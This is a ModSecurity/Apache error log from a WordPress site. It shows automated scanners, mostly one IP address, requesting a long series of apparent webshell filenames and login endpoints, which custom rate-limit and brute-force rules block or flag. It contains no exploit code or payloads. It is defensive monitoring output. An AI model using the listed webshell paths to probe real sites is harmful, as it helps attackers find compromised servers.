[Sun Mar 22 09:13:03.769630 2026] [:error] [pid 40039:tid 40044] [client 52.138.39.105:14146] [client 52.138.39.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ab9CHx3aDgUJfBYishl8QwAAAQM"]
[Sun Mar 22 09:13:04.610087 2026] [:error] [pid 51363:tid 51447] [client 52.138.39.105:13313] [client 52.138.39.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ab9CIFwa9x6OCTRkhl2O6gAAAJE"]
[Sun Mar 22 09:54:51.574983 2026] [:error] [pid 40039:tid 40063] [client 185.198.240.67:36623] [client 185.198.240.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.67, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "ab9L6x3aDgUJfBYishmXdgAAARY"]
[Sun Mar 22 09:54:51.585512 2026] [proxy_fcgi:error] [pid 40039:tid 40063] [client 185.198.240.67:36623] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 16:15:50.513151 2026] [:error] [pid 51468:tid 51490] [client 67.190.130.145:61787] [client 67.190.130.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.190.130.145, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ab-lNk2TppSvA8W5CBTZqgAAAM4"]
[Sun Mar 22 16:15:50.533518 2026] [proxy_fcgi:error] [pid 51468:tid 51490] [client 67.190.130.145:61787] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:01:55.876346 2026] [proxy_fcgi:error] [pid 30166:tid 30187] [client 51.120.72.165:32872] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:01:56.148448 2026] [proxy_fcgi:error] [pid 30166:tid 30186] [client 51.120.72.165:32872] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:01:56.430189 2026] [proxy_fcgi:error] [pid 30166:tid 30189] [client 51.120.72.165:32872] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:01:56.695706 2026] [proxy_fcgi:error] [pid 30166:tid 30175] [client 51.120.72.165:32872] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:01:56.959299 2026] [proxy_fcgi:error] [pid 30166:tid 30198] [client 51.120.72.165:32872] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:01:57.224210 2026] [proxy_fcgi:error] [pid 30166:tid 30196] [client 51.120.72.165:32872] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:01:57.488510 2026] [proxy_fcgi:error] [pid 30166:tid 30199] [client 51.120.72.165:32872] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:01:57.752419 2026] [proxy_fcgi:error] [pid 30166:tid 30187] [client 51.120.72.165:32872] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:01:58.025972 2026] [proxy_fcgi:error] [pid 30166:tid 30192] [client 51.120.72.165:32872] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:01:58.290295 2026] [proxy_fcgi:error] [pid 30166:tid 30186] [client 51.120.72.165:32872] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:01:58.556790 2026] [:error] [pid 30166:tid 30191] [client 51.120.72.165:32872] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fyiiz.php"] [unique_id "ab_MJrm4_26jKMD0zy3NPAAAAVA"]
[Sun Mar 22 19:01:59.171060 2026] [:error] [pid 40039:tid 40042] [client 51.120.72.165:35010] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fyiiz.php"] [unique_id "ab_MJx3aDgUJfBYishmingAAAQE"]
[Sun Mar 22 19:01:59.742012 2026] [:error] [pid 30166:tid 30173] [client 51.120.72.165:32868] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fyiiz.php"] [unique_id "ab_MJ7m4_26jKMD0zy3NQgAAAUI"]
[Sun Mar 22 19:02:00.291657 2026] [:error] [pid 40039:tid 40061] [client 51.120.72.165:50392] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fyiiz.php"] [unique_id "ab_MKB3aDgUJfBYishmioAAAARQ"]
[Sun Mar 22 19:02:00.873715 2026] [:error] [pid 30166:tid 30184] [client 51.120.72.165:52429] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "ab_MKLm4_26jKMD0zy3NTQAAAUk"]
[Sun Mar 22 19:02:01.421361 2026] [:error] [pid 51361:tid 51382] [client 51.120.72.165:35056] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "ab_MKRXYUsdvKC9YWpXSvQAAAAs"]
[Sun Mar 22 19:02:01.970144 2026] [:error] [pid 40039:tid 40064] [client 51.120.72.165:34980] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "ab_MKR3aDgUJfBYishmioQAAARc"]
[Sun Mar 22 19:02:02.542968 2026] [:error] [pid 30166:tid 30192] [client 51.120.72.165:50382] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "ab_MKrm4_26jKMD0zy3NUgAAAVE"]
[Sun Mar 22 19:02:03.080873 2026] [:error] [pid 40039:tid 40058] [client 51.120.72.165:54059] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bywaf.php"] [unique_id "ab_MKx3aDgUJfBYishmipQAAARE"]
[Sun Mar 22 19:02:03.632472 2026] [:error] [pid 40039:tid 40057] [client 51.120.72.165:34976] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bywaf.php"] [unique_id "ab_MKx3aDgUJfBYishmipwAAARA"]
[Sun Mar 22 19:02:04.169337 2026] [:error] [pid 51362:tid 51400] [client 51.120.72.165:35061] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bywaf.php"] [unique_id "ab_MLMOwPm3DXzTDjUedcAAAAEA"]
[Sun Mar 22 19:02:04.883559 2026] [:error] [pid 51362:tid 51413] [client 51.120.72.165:35020] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bywaf.php"] [unique_id "ab_MLMOwPm3DXzTDjUedcgAAAEw"]
[Sun Mar 22 19:02:05.530084 2026] [:error] [pid 51362:tid 51423] [client 51.120.72.165:32874] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ab_MLcOwPm3DXzTDjUeddQAAAFY"]
[Sun Mar 22 19:02:06.079799 2026] [:error] [pid 51362:tid 51411] [client 51.120.72.165:46670] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ab_MLsOwPm3DXzTDjUedeQAAAEo"]
[Sun Mar 22 19:02:06.609834 2026] [:error] [pid 40039:tid 40042] [client 51.120.72.165:32894] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ab_MLh3aDgUJfBYishmirQAAAQE"]
[Sun Mar 22 19:02:07.146329 2026] [:error] [pid 51468:tid 51484] [client 51.120.72.165:59818] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ab_ML02TppSvA8W5CBQ94gAAAMg"]
[Sun Mar 22 19:02:07.743025 2026] [:error] [pid 30166:tid 30182] [client 51.120.72.165:52455] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "ab_ML7m4_26jKMD0zy3NWwAAAUc"]
[Sun Mar 22 19:02:08.265059 2026] [:error] [pid 51468:tid 51480] [client 51.120.72.165:62525] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "ab_MME2TppSvA8W5CBQ95wAAAMQ"]
[Sun Mar 22 19:02:08.805059 2026] [:error] [pid 51361:tid 51379] [client 51.120.72.165:32877] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "ab_MMBXYUsdvKC9YWpXSzAAAAAg"]
[Sun Mar 22 19:02:09.334997 2026] [:error] [pid 51363:tid 51453] [client 51.120.72.165:32864] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "ab_MMVwa9x6OCTRkhl2FpwAAAJc"]
[Sun Mar 22 19:02:09.856648 2026] [:error] [pid 51363:tid 51433] [client 51.120.72.165:59824] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "ab_MMVwa9x6OCTRkhl2FrAAAAIU"]
[Sun Mar 22 19:02:10.395476 2026] [:error] [pid 51363:tid 51451] [client 51.120.72.165:46681] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "ab_MMlwa9x6OCTRkhl2FrwAAAJU"]
[Sun Mar 22 19:02:11.002220 2026] [:error] [pid 30166:tid 30186] [client 51.120.72.165:30155] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "ab_MM7m4_26jKMD0zy3NYAAAAUs"]
[Sun Mar 22 19:02:11.538264 2026] [:error] [pid 51362:tid 51423] [client 51.120.72.165:49345] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "ab_MM8OwPm3DXzTDjUedgQAAAFY"]
[Sun Mar 22 19:02:12.065764 2026] [:error] [pid 51362:tid 51414] [client 51.120.72.165:31700] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "ab_MNMOwPm3DXzTDjUedhAAAAE0"]
[Sun Mar 22 19:02:12.662826 2026] [:error] [pid 51362:tid 51421] [client 51.120.72.165:31724] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "ab_MNMOwPm3DXzTDjUedhwAAAFQ"]
[Sun Mar 22 19:02:13.184949 2026] [:error] [pid 51362:tid 51416] [client 51.120.72.165:31726] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "ab_MNcOwPm3DXzTDjUediwAAAE8"]
[Sun Mar 22 19:02:13.717706 2026] [:error] [pid 51468:tid 51478] [client 51.120.72.165:49347] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "ab_MNU2TppSvA8W5CBQ97QAAAMI"]
[Sun Mar 22 19:02:14.240602 2026] [:error] [pid 51468:tid 51488] [client 51.120.72.165:50019] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "ab_MNk2TppSvA8W5CBQ97wAAAMw"]
[Sun Mar 22 19:02:14.768398 2026] [:error] [pid 51362:tid 51413] [client 51.120.72.165:30193] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "ab_MNsOwPm3DXzTDjUedkAAAAEw"]
[Sun Mar 22 19:02:15.308471 2026] [:error] [pid 51468:tid 51490] [client 51.120.72.165:59802] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "ab_MN02TppSvA8W5CBQ99AAAAM4"]
[Sun Mar 22 19:02:15.871067 2026] [:error] [pid 30166:tid 30198] [client 51.120.72.165:49360] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "ab_MN7m4_26jKMD0zy3NZgAAAVU"]
[Sun Mar 22 19:02:16.424383 2026] [:error] [pid 51361:tid 51392] [client 51.120.72.165:32886] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "ab_MOBXYUsdvKC9YWpXS1gAAABQ"]
[Sun Mar 22 19:02:16.957970 2026] [:error] [pid 40039:tid 40058] [client 51.120.72.165:59779] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "ab_MOB3aDgUJfBYishmixQAAARE"]
[Sun Mar 22 19:02:17.477271 2026] [:error] [pid 40039:tid 40047] [client 51.120.72.165:52447] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "ab_MOR3aDgUJfBYishmixwAAAQY"]
[Sun Mar 22 19:02:18.025923 2026] [:error] [pid 51363:tid 51430] [client 51.120.72.165:50026] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rithin.php"] [unique_id "ab_MOlwa9x6OCTRkhl2FtwAAAII"]
[Sun Mar 22 19:02:18.552163 2026] [:error] [pid 51363:tid 51437] [client 51.120.72.165:35019] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ab_MOlwa9x6OCTRkhl2FvQAAAIg"]
[Sun Mar 22 19:02:19.087851 2026] [:error] [pid 30166:tid 30192] [client 51.120.72.165:49375] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ab_MO7m4_26jKMD0zy3NbAAAAVE"]
[Sun Mar 22 19:02:19.618127 2026] [:error] [pid 51363:tid 51442] [client 51.120.72.165:59795] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ab_MO1wa9x6OCTRkhl2FyAAAAI0"]
[Sun Mar 22 19:02:20.157836 2026] [:error] [pid 51363:tid 51454] [client 51.120.72.165:50427] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ab_MPFwa9x6OCTRkhl2FzQAAAJg"]
[Sun Mar 22 19:02:20.698739 2026] [:error] [pid 51363:tid 51439] [client 51.120.72.165:46706] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "ab_MPFwa9x6OCTRkhl2F0QAAAIo"]
[Sun Mar 22 19:02:21.242561 2026] [:error] [pid 51361:tid 51384] [client 51.120.72.165:49395] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "ab_MPRXYUsdvKC9YWpXS2gAAAA0"]
[Sun Mar 22 19:02:21.865754 2026] [:error] [pid 51363:tid 51448] [client 51.120.72.165:49994] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "ab_MPVwa9x6OCTRkhl2F1gAAAJI"]
[Sun Mar 22 19:02:22.421174 2026] [:error] [pid 51363:tid 51454] [client 51.120.72.165:49361] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "ab_MPlwa9x6OCTRkhl2F1wAAAJg"]
[Sun Mar 22 19:02:22.960560 2026] [:error] [pid 40039:tid 40059] [client 51.120.72.165:35005] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwq13.php"] [unique_id "ab_MPh3aDgUJfBYishmiygAAARI"]
[Sun Mar 22 19:02:23.532648 2026] [:error] [pid 51468:tid 51486] [client 51.120.72.165:49995] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwq13.php"] [unique_id "ab_MP02TppSvA8W5CBQ9-gAAAMo"]
[Sun Mar 22 19:02:24.057196 2026] [:error] [pid 51363:tid 51434] [client 51.120.72.165:52473] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwq13.php"] [unique_id "ab_MQFwa9x6OCTRkhl2F4gAAAIY"]
[Sun Mar 22 19:02:24.626321 2026] [:error] [pid 51363:tid 51428] [client 51.120.72.165:62495] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwq13.php"] [unique_id "ab_MQFwa9x6OCTRkhl2F5gAAAIA"]
[Sun Mar 22 19:02:25.163959 2026] [:error] [pid 51363:tid 51431] [client 51.120.72.165:59807] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aapig.php"] [unique_id "ab_MQVwa9x6OCTRkhl2F6AAAAIM"]
